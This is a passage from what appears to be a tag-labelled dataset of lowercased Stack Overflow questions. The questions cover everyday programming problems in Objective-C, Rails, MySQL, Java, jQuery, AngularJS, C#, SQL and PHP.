when/how to delete a locally declared operation queue   my code will receive a push notification containing the url of a remote image to download and display and i was planning on placing a call to nsdata:datawithcontentofurl in an operation queue to run separately from the main thread.  but i m not clear on the lifetime of the operation and when/how i should delete it.  for example suppose i have code similar to this:   <pre><code>- (void) onreceiptofpushnotification:(nsurl*) url {     nsoperationqueue *q = [[nsoperationqueue alloc] init];     [q addoperationwithblock: ^{         nsdata*  data = [nsdata datawithcontentsofurl: url];         [[nsoperationqueue mainqueue] addoperationwithblock:^ {             do stuff with the data and image         }     } } </code></pre>   my question is as q is a local variable of onreceiptofpushnotification then when and how to delete it once the operation has completed,objective-c
what is the rails way equivalent of mailto: and tel:   my model have contact:string and email:string attributes. in pure html  we can write    <code>&lt;a href= mailto:sample@email.com &gt;email us&lt;/a&gt;</code>    and    <pre><code>&lt;a href= tel:123-456 &gt;123-456&lt;/a&gt; </code></pre>   how do we convert these two into rails code assuming my model name is sample. my guess would be something like   <pre><code>&lt;%= link_to @sample.email   #  %&gt;  &lt;%= link_to @sample.contact   #  %&gt; </code></pre>   what should be in the <code> # </code>,ruby-on-rails
can t insert unix timestamp into table s timestamp field  i have the table defined like this:   <pre><code>create table tt (   name varchar(255) default null    date timestamp null default null ) engine = innodb character set utf8 collate utf8_general_ci; </code></pre>   now i m trying to insert a record:   <pre><code>insert into tt (name  date) values( some   unix_timestamp(now())); </code></pre>   and get the following error:   <pre><code>incorrect datetime value:  1428306271  for column  date  at row 1 </code></pre>   how can that be     <strong>edit</strong>:<br> this option also produces an error:   <pre><code>insert into tt (name  date) values( some   unix_timestamp()); </code></pre>,mysql
getting virtual memory page size by java code  is it possible to get virtual memory page size of the os on which a java application is running as a java int variable  if yes  how,java
external css stylesheet not working  i have no idea why this html file is not formatted with the linked stylesheet:   <pre><code>&lt;!doctype html&gt; &lt;html&gt;     &lt;head&gt;         &lt;title&gt;sticky notes&lt;/title&gt;         &lt;link rel=“stylesheet” href=“s.css” type=“text/css”/&gt;     &lt;/head&gt;      &lt;body&gt;         &lt;div class=“yellow”&gt;             &lt;p&gt;make sticky notes with html/css.&lt;/p&gt;         &lt;/div&gt;     &lt;/body&gt; &lt;/html&gt; </code></pre>   the document path -- i have a folder stickynotes with the files  s.css  and the above html file  sticky.html .    here is the css:   <pre><code>div {     width: 150px;     height: 150px;     border: 2px solid #000000; } .yellow {     background-color: #edeeb4;  } .pink {     background-color: #eeb4b4;  } .green {     background-color: #b4eec6;  } .blue {     background-color: #b4c0ee; } .grey {     background-color: #dddee7;  } </code></pre>,css
how do you read all input preceding the ctrl-d sequence   using the system call read in c     <pre><code>#include &lt;unistd.h&gt;  int main() {     char data[128];     while(read(0  data  128) == 0){     read = read(0  data  128)+ read //counting the amount of chars read in   }      exit(0); } </code></pre>   i would like the input to terminate upon ctrl+d  that way a user can press enter and it will just go to the new line. right now it is not functioning that way.    read returns a integer indicating the number of bytes it read. how would i stop reading once the user press ctrl + d  in other words you can continue reading while pressing enter but only stop when ctrl+d is pressed and then return how many characters i read.,c
java conversion from double to int for certain numbers <pre><code>import java.util.scanner; public class test1c {     public static void main(string[] args)     {         scanner reader = new scanner(system.in);         system.out.print( enter an integer between 1 and 50:  );          double quo;         int num = reader.nextint();          for(double a = 1; a &lt;= num; a++)         {             quo = (num / a);             system.out.println(quo);                     }     } } </code></pre>   this is the code i currently am making to evaluate the list of quotients based on what number was inputted. now the only thing my brain keeps farting on about is how to convert the whole numbers that are currently decimals into integers. however  the doubles (ex: 1.333) that are printed by this code are fine as is. i just can t figure out how to convert the whole number decimals (ex: 12.0) into whole number integers. can someone help me,java
python error: need more than one value to unpack  ok  so i m learning python. but for my studies i have to do rather complicated stuff already. i m trying to run a script to analyse data in excel files. this is how it looks:   <pre><code>#!/usr/bin/python import sys  #lots of functions  not relevant  resultsdir = /home/blah  filename1=sys.argv[1] filename2=sys.argv[2] out = open(sys.argv[3]  w )  #filename1 filename2= cnvb_reads.403476   cnvb_reads.403447   file1=open(resultsdir+ / +filename1+ .csv ) file2=open(resultsdir+ / +filename2+ .csv )  for line in file1:     start.p end.p type nexons start end cnvlength chromosome id bf rest=line.split( \t  10)     cnvs1[chr].append([int(start) int(end) float(bf)])  for line in file2:     start.p end.p type nexons start end cnvlength chromosome id bf rest=line.split( \t  10)     cnvs2[chr].append([int(start) int(end) float(bf)]) </code></pre>   these are the titles of the columns of the data in the excel files and i want to split them  i m not even sure if that is necessary when using data from excel files.   <pre><code>#more irrelevant stuff  out.write(filename1+   +filename2+   +str(chromosome)+   +str(type)+   +str(shared)+ \n ) </code></pre>   this is what it should write in my output   shared  is what i have calculated  the rest is already in the files.     ok  now my question  finally  when i call the script like that:<br> python script.py cnvb_reads.403476 cnvb_reads.403447 script.csv in my shell     i get the following error message:   <pre><code>start.p end.p type nexons start end cnvlength chromosome id bf rest=line.split( \t  10) valueerror: need more than 1 value to unpack </code></pre>   i have no idea what is meant by that in relation to the data... any ideas,python
passing constructor to a method set  i don t have a problem  just a doubt.    i did not understand the line <code>setlayout(new flowlayout);</code>    i am thinking that <code>new flowlayout()</code> is a constructor right  and <code>setlayou</code>t is method from <code>jframe</code>.    so we are a able to pass a constructor to the method  if yes  how can i make my method to accept constructor     as shown in the code below:   <pre><code>package pack;  import java.awt.flowlayout; import javax.swing.jframe; import javax.swing.jtextfield;  public class frame {          public static void main(string args[])     {                    jtextfield item =new jtextfield( i am a text field );         jframe j =new jframe( this is title );         j.setlayout(new flowlayout());         j.add(item);         j.setvisible(true);     } } </code></pre>,java
overriding inner class  method in interface  i have an interface in which i declare an inner class:   <pre><code>public interface myinterface  {     int count();         public class myinterfaceinnerclass     {         public void testoverride()         {          }     } } </code></pre>   and <code>class test implements myinterface</code>:   <pre><code>public class test implements myinterface {      public test()      {         // todo auto-generated constructor stub     }      public int count()     {         return 1;     }      //here i would like to be able to override the inner class  method testoverride } </code></pre>   is it possible to override the inner class  method <code>testoverride</code> in <code>class test</code>    <hr>   <strong><em>edit:</em></strong>    in response to comment made by o. charlesworth  i came up with the following:   <pre><code>public interface myinterface  {     myinterface ainterface = new myinterfaceinnerclass();     int count();      public class myinterfaceinnerclass implements myinterface     {         @override         public int count()          {             // todo auto-generated method stub             return 0;         }         public void testoverride()         {          }     } } </code></pre>   in <code>class test</code>:   <pre><code>public class test implements myinterface {     public test()      {         // todo auto-generated constructor stub     }      public int count()     {         return 1;     } } </code></pre>  <blockquote>    is it still possible to override the inner class  method testoverride   here in <code>class test</code>   </blockquote>,java
certificates  identifiers & profiles page in apple developer site is redirecting to account page  i m trying to access the certificates  identifiers &amp; profiles page in apple developer site  however  there s no such hyperlink visible once i login.    when i enter the address as <a href= https://developer.apple.com/account/ios/certificate/development  rel= nofollow noreferrer >https://developer.apple.com/account/ios/certificate/development</a> it is redirecting to the account page i.e. <a href= https://developer.apple.com/account/#/welcome  rel= nofollow noreferrer >https://developer.apple.com/account/#/welcome</a>    can someone pls guide what steps do i need to take  i ve tried clearing the browser cache &amp; history  it doesn t work.,ios
how can i do an implode on certain fields of a two-dimensional array   i have a two-dimensional array with the format shown below. how would i output only the <code>user_id</code> using <code>implode()</code> such that the end result would be <code>1705 1757 1832</code>     <pre><code> array (      [0] =&gt;      array (          [nickname] =&gt; picachu          [user_id] =&gt; 1705          [name] =&gt; picachu .jpg          [city_name] =&gt; pallet town     )      [1] =&gt;      array (        [nickname] =&gt; charmander         [user_id] =&gt; 1757          [name] =&gt; charmander.jpg         [city_name] =&gt; verivian city      )      [2] =&gt;     array (         [nickname] =&gt; squaretle         [user_id] =&gt; 1832         [name] =&gt; squaretle.jpg         [city_name] =&gt; celadon      )  )  </code></pre>,php
add different classes to divs with jquery depending on the time in the div and current time   i am creating a little tv guide for myself and i have a list of programs from a tv channel that runs today. what i now try to do is to add three different css classes  one for the program that is currently on air (.present)  one for shows before the current one (.past) and one for the shows after the current one (.future).    i get the current time with    <pre><code>var d = new date(); var curr_hour = d.gethours(); var curr_min = d.getminutes(); for (var i = 2; i--; )     curr_min[i] = ( 0  + curr_min[i]).slice(-2); var curr_time = curr_hour +  :  + curr_min; </code></pre>   the html looks something like:   <pre><code>&lt;div class= title &gt;15:00 - show 1&lt;/div&gt; &lt;div style= display: none;  class= description &gt;information about show 1.&lt;/div&gt; &lt;div class= title &gt;15:30 - show 2&lt;/div&gt; &lt;div style= display: none;  class= description &gt;information about show 2.&lt;/div&gt; &lt;div class= title &gt;16:00 - show 3&lt;/div&gt; &lt;div style= display: none;  class= description &gt;information about show 3&lt;/div&gt; </code></pre>   so if curr_time is 15:45 i want the div with show 2 to have an extra class .present  the div with show 1 the extra class .past and the div with show 3 the extra class .future. so  something like:   <pre><code>&lt;div class= title past &gt;15:00 - show 1&lt;/div&gt; &lt;div style= display: none;  class= description &gt;information about show 1.&lt;/div&gt; &lt;div class= title present &gt;15:30 - show 2&lt;/div&gt; &lt;div style= display: none;  class= description &gt;information about show 2.&lt;/div&gt; &lt;div class= title future &gt;16:00 - show 3&lt;/div&gt; &lt;div style= display: none;  class= description &gt;information about show 3&lt;/div&gt; </code></pre>   how can i achieve this with jquery,jquery
how to bind data model in directive and set event handler correctly  all:    currently  what my directive code looks is pretty simple:   <pre><code>    &lt;div ng-controller= main &gt;         &lt;dirtest&gt;&lt;/dirtest&gt;         &lt;dirtest&gt;&lt;/dirtest&gt;     &lt;/div&gt;  &lt;script&gt;      var app = angular.module( vp   []);         app.controller( main   function($scope){             $scope.name= init name ;         })          app.directive( dirtest   function($compile){             return {                 restrict:  e                   scope: false                  controller : function($scope){                 }                  compile: function(tel  tattrs){                     return {                         post: function(scope  el  attrs  ctrl){                             el.append($compile( &lt;button class= dirbtn &gt;{{name}}&lt;/button&gt; )(scope));                             $( button.dirbtn ).on( click   function(){                                 scope.name = math.random();                                 console.log(scope.name);                                 scope.$apply();                             });                         }                     };                 }             }         }); &lt;/script&gt; </code></pre>   <strong>what this code supposed to do is</strong>:  click any button  change all the buttons text.    <strong>first question:</strong> rather than using $compile to compile hard coded scope data model {{name}}  is there a way that i can programmatically do the data binding to dynamically added dom     <strong>second question:</strong> when i added two dirtest directives to page  one wierd thing is the clicking on first button will <strong>call its post link function twice</strong>(we can tell from the console  there are two numbers generated when i clicked the first button) while the second one only once. how can i solve this     thanks,angularjs
how to add a custom action to the controller in rails 3  i want to add another action to my controller  and i can t figure out how.    i found this on railscasts  and on most stackoverflow topics:   <pre><code># routes.rb resources :items  :collection =&gt; {:schedule =&gt; :post  :save_scheduling =&gt; :put}  # items_controller.rb   ...   def schedule   end    def save_scheduling   end  # items index view: &lt;%= link_to  schedule   schedule_item_path(item) %&gt; </code></pre>   but it gives me the error:   <pre><code>undefined method `schedule_item_path  for #&lt;#&lt;class:0x6287b50&gt;:0x62730c0&gt; </code></pre>   not sure where i should go from here.,ruby-on-rails
jquery highlight div when checkbox selected  i have a page with several sections  each with a corresponding checkbox. when a checkbox is selected  i would like to highlight the containing div (and have the color gradually fade away). when a checkbox is deselected  there shouldn t be a highlight. i have two questions: what s the best way to have jquery highlight a div  how do i trigger the highlight on only checkbox selection  not deselection     thanks,jquery
how to install ruby and rails on ubantu  i have try so many tutorial to install ruby and rails. in my pc ruby version 1.9+ and rails is 2. i want to install ruby and rails with version rails 4.0.1 something like that so bundla install automatically. i am facing problem with rail 2.0.0 when i create a new project with this command    <pre><code>rails new blogs </code></pre>   then it s create a new folder instead of blogs folder and stu is also not new.    please give me right tutorial where i can install rails with new version my ubantu is 12.04     thanks,ruby-on-rails
what does out[i] = *(a_mat + i) do in c  <pre><code>while( i &lt; a_rows * a_cols ) {     out[i] = *(a_mat + i);  // this line     i++; } </code></pre>   what does the marked line do,c
what dateformat is that   i have to migrate old data to a new website and in the mysql-table is a column called date with a example value of  1308355200  but which datenformat is that can you help me,php
how do i add a watermark to an image client-side with javascript   is it possible to add a watermark ( text or image ) to an animated gif   clientside using jquery.    in this instance all processing is client side.    i cant get it to work on jsfiddle. but its very simple  the watermark is added to the main image.    the issue i have is i need this to work on animated gifs. so the watermark displays bottom right hand corner.    the master js code is: <a href= http://www.patrick-wied.at/static/watermarkjs/jq/  rel= nofollow >http://www.patrick-wied.at/static/watermarkjs/jq/</a>    the script on page:   <pre><code>var config = {      path :  watermark.png  }; $(document).ready(function() {     $(document).watermark(config); }); </code></pre>   my only issue is  normally we could process this using imagemagik gd   and php etc.. but this must work clientside. so any suggestions please.,jquery
order of execution of async callback methods one one thread  let s say a network message kicks off a callback method.   <pre><code>- (void)didreceivenetworkmessage {   [obj respondtomethod]; }  - (void)mybigmethod {   [obj mysmallmethod1];   [obj mysmallmethod2];   /* network message received now */   [obj mysmallmethod3];   [obj mysmallmethod4]; } </code></pre>   in what order are the methods called on <code>obj</code> executed in a single-threaded environment,objective-c
angular 1.x directive scope  i want to transform the scoped variable  like trimming the passed string. but it shows always as it passed.    here is my sample code    <pre><code>export function testdirective() {     return {         restrict:  e           template: `&lt;a&gt;{{vm.testtext}}&lt;/a&gt;`          scope: {             testtext:  @          }          controller: testcontroller          controlleras:  vm           bindtocontroller: true     } }  export class testcontroller {     testtext: string;      constructor(private $scope: angular.iscope) {         // when getting variable  i need to transform the value         $scope.$watch( () =&gt; this.testtext  (newval: string) =&gt; {             this.testtext = newval.trim() +   edited ; // this doesn t affact         });     } } </code></pre>   why that code is not working     to make it work i added additional variable(trimmedtext)  but i don t think this is right approach    <pre><code>export function testdirective() {     return {         restrict:  e           template: `&lt;a&gt;{{vm.trimmedtext}}&lt;/a&gt;`          scope: {             testtext:  @          }          controller: testcontroller          controlleras:  vm           bindtocontroller: true     } }  export class testcontroller {     testtext: string;     trimmedtext: string;      constructor(private $scope: angular.iscope) {         // when getting variable  i need to transform the value         $scope.$watch( () =&gt; this.testtext  (newval: string) =&gt; {             this.trimmedtext = newval.trim() +   edited ; // it works         });     } } </code></pre>   please advice me,angularjs
psexec command invoking from windows service  i created windows service problem which invokes psexec and run .exe in the remote server. every thing work fine  when i try to do run in debug mode of invoking pscommand code @ console application  when i try to run pscommand from windows service  it hangs out without any reason. is there any reason or alternative.. psexesvc doesnot start on remote server    here is the pscommand i used    psexec -accepteula \\xyzserver -u <strong><em></strong> -p <strong></em></strong> -h \sharecompname\component.exe.    there is no error message.,c#
urlencode forward slash 404 error <pre><code>http://localhost/foo/profile/%26lt%3bi%26gt%3bmarco%26lt%3b%2fi%26gt%3b </code></pre>   the url above gives me a <code>404 error</code>  the url code is this: <code>urlencode(htmlspecialchars($foo));</code>  as for the <code>$foo</code>: <code>&lt;i&gt;badhtml&lt;/i&gt;</code>    the url works fine when there s nothing to encode e.g. <code>marco</code>.     thanks. =d    update: i m supposed to capture the segment in the encoded part of the uri  so a 404 isn t supposed to appear.    there isn t any document there  <code>marco</code> is simply the string that i needed to fetch that person s info from db. if the user doesn t exist  it won t throw that ugly error anyways.    <strong>slight idea what s wrong:</strong> i found out that if i used <code>&lt;i&gt;badhtml&lt;i&gt;</code>  it works just fine but <code>&lt;i&gt;badhtml&lt;/i&gt;</code> won t  what do i do so that i can maintain the <code>/</code> in the <code>&lt;i&gt;</code>     it probably think of the request as <code>http://localhost/foo/profile/&lt;i&gt;badhtml&lt;**/**i&gt;</code>,php
a question related to nsuserdefault  i have set     this is my below code in applicationwillterminate method.   <pre><code>nsstring *string4 = @ objective-c ;  nsuserdefaults* defs7 = [nsuserdefaults standarduserdefaults]; [defs7 setobject:string4 forkey:@ subject_textfield ]; </code></pre>   this is my below code in applicationdidfinishlaunching method.   <pre><code>nsuserdefaults* defs7 = [nsuserdefaults standarduserdefaults]; subject_textfield.text = [defs7 stringforkey:@ subject_textfield ]; </code></pre>   but when i press home and then i again launch application at that time i m getting nil value for subject_textfield.text.    why is it so,iphone
update a field from a database and also modify it s length  firstly  i don t know how to update a field form a database if i don t know what value it has! i just know its column and its row(the id)!     i used this  but it didn t work!    <code>   select column_name from table_name where id=4 ;<br>   update table_name set column_name= text  where id=4 ;</code>    i also want to modify the column_name length when i update it!,sql
nullreferenceexception was unhandled webbroswer vb <pre><code>private sub button1_click(sender as object  e as eventargs) handles button1.click       webbrowser1.document.getelementbyid( searchfield ).setattribute( value    salesrecordnumber )     change dropdown to  sales record number      webbrowser1.document.getelementbyid( searchvalues ).innertext = textbox1.text     set the search value to textbox1     webbrowser1.document.getelementbyid( searchbutton ).invokemember( click )         click on the search button      dim yourobj as htmlelement = (from ele as htmlelement in webbrowser1.document.getelementsbytagname( a ) where ele.innertext = textbox1.text select ele).firstordefault     yourobj.invokemember( click )    select the sale record number end sub </code></pre>   on the click for the yourobj  i get a  an unhandled exception of type  system.nullreferenceexception   error,.net
mysql select duplicates  i have a table containing group_id  user_id  and role_id.    because the unique key was set wrong  there are users who are in a group twice  with different roles. like this:   <pre><code>group_id   |   user_id   |   role_id     1      |      1      |      1     1      |      1      |      2      2      |      1      |      1     1      |      2      |      1     2      |      2      |      3 </code></pre>   how can i find the user id s of the user where this is the case  so  in this example only user id 1     edit:    because neither the answer from @manil liyanage nor the one from @tx turner give me the right results  maybe i have to explain it some more;    users can be in multiple groups  but they shouldn t be in the some group more than once. unfortunately  because of the wrong unique key  some users now are in the same group more than once  but only with another role. how can i find the users who are in a group more than once,mysql
sql query writing help - multiple lookups in one record  i am an it analyst attempting to learn some sql to help me work with developers in a more efficient manner.  gave myself a little personal project to help me learn sql and ran into some issues that i hope you all can help me with.    <strong>background</strong>    i have an interest in darts  so i would like to create a db to log each of my turns.  if you are unfamiliar with darts  each turn consists of three throws at the dartboard.    i am designing a db with two tables:   <ol> <li>  turns  keeps track of each player s turn.   <ul> <li>turnid is the primary key  and is an auto-incremented integer.</li> <li>throw1 contains the result of the player s first throw.</li> <li>throw2 contains the result of the player s second throw.</li> <li>throw3 contains the result of the player s third throw.</li> </ul></li> <li>  scorevalues  is a reference table that lists a score and the number of points that the score is worth.  each record associates one  score  with a  value .  the  score  is the primary key.   <ul> <li>score is the primary key  and represents one possible outcome of a throw.</li> <li>value contains the value of the player s throw.  so an  s20  is worth 20 points.</li> </ul></li> </ol>   <strong>table excerpts/samples</strong>    turns   <pre><code>turnid   throw1   throw2   throw3 101      s20      s16      s18 102      s16      s19      s17 </code></pre>   scorevalues   <pre><code>score   value s20     20 s19     19 s18     18 s17     17 s16     16 s15     15 </code></pre>   <strong>query</strong>    this is where the challenge begins.  i am looking for a query that will generate an output that looks like below:   <pre><code>turnid   throw1   throw2   throw3   throw1value   throw2value   throw3value 101      s20      s16      s18      20            16            18 102      s16      s19      s17      16            19            17 </code></pre>   if i run the following query  i can <em>sort of</em> get what i m looking for  but only for throw1:   <pre><code>select turns.turnid  turns.throw1  turns.throw2  turns.throw3  scorevalues.value from turns inner join  values on turns.throw1 = scorevalues.score </code></pre>   do you have any suggestions on how i can get my intended output   please let me know if anything is unclear.    thanks!    k,sql
why this causes an infinity loop  <pre><code>for (unsigned u = 10; u &gt;= 0; --u)         std::cout &lt;&lt; u &lt;&lt; std::endl; </code></pre>   i know that unsigned cannot be less than <code>0</code> i expected it prints from 10 through 0 because <code>u &gt;= 0</code>,c++
how to use prime faces extensions jar file in netbeans webapplication project  i am trying to use exporter feature of primefaces extension so that i can export multiple tables at a time but  . i am getting following error : the prefix  pe  for element  pe dataexporter  is not bound.    code goes here   <pre><code> &lt;h:commandlink&gt;               &lt;p:graphicimage value= ../resources/images/excel.png  title=  /&gt;               &lt;pe:dataexporter type= xls  target= dailyshtsts  filename= dailychecklist  postprocessor= #{supportcrmissuestabcontroller.postprocessxls} /&gt;          &lt;/h:commandlink&gt;  </code></pre>,html
in python  how to supply the command line arguments in interactive mode  i am new to python. i want to run a software in interactive mode. in the manual it says the usage    python experiment.py --config config.yaml --out result/    the question is  how can i supply the command line arguments to experiment.py in interactive mode,python
automatically presenting information stored in class to user  i am retrieving info from a web service and saving it in a class which has several fields including arrays.    i just want a way to present that info to the user. is there a component that takes the class as argument and just organizes the info and shows them in a datagridview (for example)     thank you.,.net
changing log mode  i have logging set up. however  it is only printing things that are <code>info</code> and above. how would i modify this to print <code>debug</code> and above     here is the code i currently have:   <pre><code>import logging log = logging.getlogger( avails ) log.debug( does not show in print to console ) log.info( show in print to console ) </code></pre>,python
how to convert a datetime to specific timezone in c#   i need help converting a <code>datetime</code> to a specific time zone. what i have below is not working correctly.    <code>gmtime</code> = <code>03/02/2013 1:00:00 am</code>    <pre><code> timezoneinfo timezone = timezoneinfo.findsystemtimezonebyid( eastern standard time );  var time = timezoneinfo.converttime(gmtime  timezone); </code></pre>   when i debug the value of <code>time</code>  which should be <code>03/01/2013 8:00:00 pm</code> when the zone is applied  it comes back as <code>03/02/2013 1:00:00 am</code>.     if i do <code>time.tolocaltime()</code> then i get the correct value. however  i need to convert <code>time</code> to different time zones.,c#
rails user model not being assigned an id when using user.create()  i tried looking for an answer but they were all using user.new etc and not create.    when using user.create() in console with valid attributes i m getting a user created with nil for id and nil for the timestamps.    here is my user model.   <pre><code> class user &lt; applicationrecord   attr_writer :name  :email   before_save {self.email = email.downcase}    validates :username  presence:true                         length: {maximum: 30}                         uniqueness:true     valid_email_regex = /\a[\w+\-.]+@[a-z\d\-]+(\.[a-z\d\-]+)*\.[a-z]+\z/i   validates :email  presence:true                      length: {maximum:200}                      format: {with: valid_email_regex}                      uniqueness: {case_sensitive: false}    has_secure_password    validates :password  presence: true                         length: {minimum:6}  end </code></pre>   in the rails console i m using    <pre><code>user.create(username: oiuedhioj   email: damhan@dagr.com  password: test  password_confirmation: test ) </code></pre>   and getting back    <pre><code>&lt;user id: nil  username:  damhan   email: nil  created_at: nil  updated_at: nil  password_digest:  $2a$10$ogtrgchigahh/ucvx4qdm.aogygur8oud5mykzheucq... &gt;  </code></pre>,ruby-on-rails
how to remove css attribute such that html attribute will take effect again   i ve got this html:   <pre><code>&lt;td align= right &gt;$12&lt;/td&gt; </code></pre>   but the text isn t right-aligned because somewhere in the stylesheet it says   <pre><code>td { text-align: left; } </code></pre>   i can override this style further down by doing something like this:   <pre><code>.bugnote table td  .bugnote table th {     text-align: inherit; } </code></pre>   but  inherit  doesn t have the effect i was hoping for: to clear the attribute. it s still left-aligned. is there a way to essentially remove/clear any previously set <code>text-align</code> attributes,css
target paragraph inside table  i feel a bit stupid  i looked stackoverflow over and over again  found much help but nothing worked. i can not target the following html:   <pre><code>    &lt;table&gt;       &lt;tr&gt;         &lt;td&gt;           &lt;p class= dialog &gt;more infos&lt;/p&gt;         &lt;/td&gt;       &lt;/tr&gt;     &lt;/table&gt;         </code></pre>   so that my hover effect works. i tried so many combinations  this is one of them:   <pre><code>    $(document).ready(function()     {         $( table tr td .dialog ).contenthover({         overlay_background: #000           overlay_opacity:0.8         });     }); </code></pre>   i also tried to use the .find function. the hover effect works if i just target p.dialog and remove the table structure in the html  but i need the table !,jquery
how to organise namespaces within an assembly to reflect design  i would like to organise my assembly so the code that i write reflects my intended design. from help i already received i understand that namespaces are the principal way to organise types to achieve this.    the issue i have is that my assembly  <code>assembly</code>  say  uses a layer of implementation classes. however some of the classes in <code>layer1</code> are themselves part of the implementation of <code>layer1</code> and i d like to reflect that in the way i structure my code. my first thought was to try to make some classes in <code>layer1</code> private  but i can see that <a href= https://stackoverflow.com/questions/1223873/namespace-only-class-visibility-in-c-net >this is not possible</a>.    logically  <code>layer1</code> is exposing classes <code>a1</code>  <code>b1</code>  <code>c1</code> etc. and it uses classes <code>a2</code>  <code>b2</code>  <code>c2</code> etc.   <pre><code>namespace assembly.layer1 {     //  interface to layer1      class a1 // ...     class b1 // ...     class c1 // ...     //  implementation of layer1      class a2 // ...     class b2 // ...     class c2 // ... } // (one file per class) </code></pre>   it seems like one way to address this is to put <code>a2</code>  <code>b2</code>  <code>c2</code> etc into a new namespace  <code>assembly.layer1.layer2</code>. then  when i m writing code in the top-level namespace and using <code>assembly.layer1</code>  intellisense only shows me the classes that <code>assembly.layer1</code> exposes. also  <em>by convention</em>  i should only refer one layer down in the namespace hierarchy at a time. is this the right approach,c#
can operator= may be not a member   having construction in a form:   <pre><code>struct node { node():left_(nullptr)  right_(nullptr) { } int id_; node* left_; node* right_; }; </code></pre>   i would like to enable syntax:   <pre><code>node parent; node child; parent.right_ = child; </code></pre>   so in order to do so i need:   <pre><code>node&amp; operator=(node* left  node right); </code></pre>   but i m getting msg that operator= has to be a member fnc; is there any way to circumvent this restriction,c++
single resource and multiple resources  i have a model whitelabel and a user has_many :whitelables     i have a custom method current_whitelabel (like authlogic or restful_auth for current_user)    i want my users to manage their whitelabels (ie: edit_whitelabels_path(id)).    but i don t want to send the whitelabel id in params when it refers to the current_whitelabel.    so my idea is to create two resources: map.resources whitelabels and map.resource whitelabel.    but i don t like this so much. is there any sexier way to accomplish it,ruby-on-rails
can you make angular tell you when a directive isn t defined   just spent the better part of an hour trying to figure out how to use a directive even though i ve used it the exact same way before. turns out i forgot to import the module - -;    it s very annoying since there are no errors in the console.     this reminds me of many errors i ve encountered before where an error is thrown but the stack trace all points to code in angular.js even though it originated from my code.    any recommendations on how to catch these silent/non-helpful errors  i use sublime  but i m guessing an ide like webstorm could catch these errors. might motivate me to switch. maybe some tool like angular batarang,angularjs
background image is not fitting properly iphone  in my application i am using background image programmatically like below   <pre><code>self.view.backgroundcolor =[uicolor clearcolor];  self.view.backgroundcolor = [uicolor colorwithpatternimage:[uiimage imagenamed:@ homescreen.png ]]; </code></pre>   i have tried both image sizes 320x480 pixels and 640x960 pixels with name of @2x. but both images are not fitting properly into iphone simulator.     do i need to reduce navigation bar area from 320x480  then it will fit     i was wondering why,iphone
classcastexception at gallery.setlayoutparams   i am create a base adapter for a gallery.    i am using this method to override getview().    but i keep getting this error at the layoutparam s code.   <pre><code>10-02 01:14:32.543: error/androidruntime(839): fatal exception: main 10-02 01:14:32.543: error/androidruntime(839): java.lang.classcastexception: android.widget.gallery$layoutparams 10-02 01:14:32.543: error/androidruntime(839):     at android.widget.linearlayout.measurehorizontal(linearlayout.java:659) 10-02 01:14:32.543: error/androidruntime(839):     at android.widget.linearlayout.onmeasure(linearlayout.java:311) 10-02 01:14:32.543: error/androidruntime(839):     at android.view.view.measure(view.java:8313) 10-02 01:14:32.543: error/androidruntime(839):     at android.view.viewgroup.measurechild(viewgroup.java:3109) </code></pre>   here is my method..   <pre><code>public view getview(int position  view convertview  viewgroup parent) {     view vi=convertview;     if(convertview==null)         vi = inflater.inflate(r.layout.lazyitemt  null);       imageview image=(imageview)vi.findviewbyid(r.id.image);     image.setlayoutparams(new gallery.layoutparams(250  250));     imageloader.displayimage(data[position]  activity  image);     return vi; } </code></pre>,android
javascript multiplication game  i am supposed to make this simple program. it produces a multiplication problem  and when the user types the correct answer  it is supposed to produce another question. instead it goes into an infinite loop and never stops  the answer field and the button go away. also  i am supposed to make the comment about the users answer  one of 4 different sayings. without using arrays how would i do that     my professor is no help  really getting aggravated as i have no where else to turn.   <pre><code>&lt;html&gt;     &lt;title&gt;hw 9.27 and 9.28&lt;/title&gt;     &lt;head&gt;         &lt;script type= text/javascript &gt;             var number1;             var number2;             var answer3;             var answer2;              function problem() {                 number1 = math.floor(1 + math.random() * 9);                 number2 = math.floor(1 + math.random() * 9);                 document.writeln( how much is   + number1 +   times   + number2 +     );                 answer2 = (number1 * number2);             }              function answer1() {                 var statusdiv = document.getelementbyid( status );                 answer3 = document.getelementbyid( answer ).value;                  if (answer3 != answer2) statusdiv.innerhtml =  no. please try again ;                 else if (answer3 == answer2) {                     statusdiv.innerhtml =  very good! ;                     problem();                 }             }             problem();          &lt;/script&gt;     &lt;/head&gt;     &lt;body&gt;         &lt;form&gt;             &lt;input id= answer  type= text  /&gt;             &lt;input type= button  value= solve!  onclick= answer1()  /&gt;             &lt;div id = status &gt;click the solve button to solve the problem&lt;/div&gt;         &lt;/form&gt;     &lt;/body&gt; &lt;/html&gt; </code></pre>,javascript
move text inside an element to its child element  i want to move a text snippet inside the <code>label</code> to be inside the <code>a</code> element. i m not a jquery wizard and i don t understand how to use <code>appendto</code>  <code>insertbefore</code> etc when i can t target the textsample. i want to keep the html intact except the move of the text.   <pre><code>&lt;div class= column &gt;     &lt;div class= cart &gt;         &lt;div class= filter &gt;             &lt;label&gt;                 &lt;a&gt;&lt;/a&gt;                 textsample             &lt;/label&gt;         &lt;/div&gt;         &lt;div class= filter &gt;             &lt;label&gt;                 &lt;a&gt;&lt;/a&gt;                 textsample             &lt;/label&gt;         &lt;/div&gt;               &lt;/div&gt; </code></pre>,jquery
handle tmp file in form upload and pass the file to other form before uploaded  i need help badly   can t fix it to working like i want..!    i have two forms   one is contact form   and the other is image upload inside the contact form the forms using ajax for proccsesing.    <img src= https://i.stack.imgur.com/0yoyy.jpg  alt= my form example >    i <strong>dont</strong> want to move_upload_file unless the all form(contact)is submited. so so far its all working  <strong>exept</strong> when i try to pass the file over the contact form and use<code>@move_upload_file</code> it wont move the file to the server.    i using this way to transfer the file and when i am doing var_dump its working perfect :   <pre><code> if ($proc ==  question ) {     // handle some normal form  contact us .      // ... some proccses code when submited via ajax ...      $fileelementname =  imagebrowse ;   //this session coming from other proccses form down if isset.   if(isset($_session[ imgfilename ]) &amp;&amp; !empty($_session[ imgfilename ])){      //then i handle it with list to make the rest of the proccses.      list($uploadfilename $_files[ imagebrowse ]) = $_session[ imgfilename ];      //unset session for security.      unset($_session[ imgfilename ]);     }    var_dump($_files[ imagebrowse ]);    // will print the file array perfect.     //trying now to move_uploaded_file  if(@move_uploaded_file($_files[ imagebrowse ][ tmp_name ] $uploadsdirectory.$uploadfilename)){          echo  uploaded! ;  }else{         echo  not uploaded ;  }  // and here is the problem   it wont move uploaded file   even if there is array of the file..  } else if ($proc ==  sendquestionuploadimg ) {     // handle img upload via ajax.      $fileelementname =  imagebrowse ;      $uploadsdirectory =  ../uploads/ ;       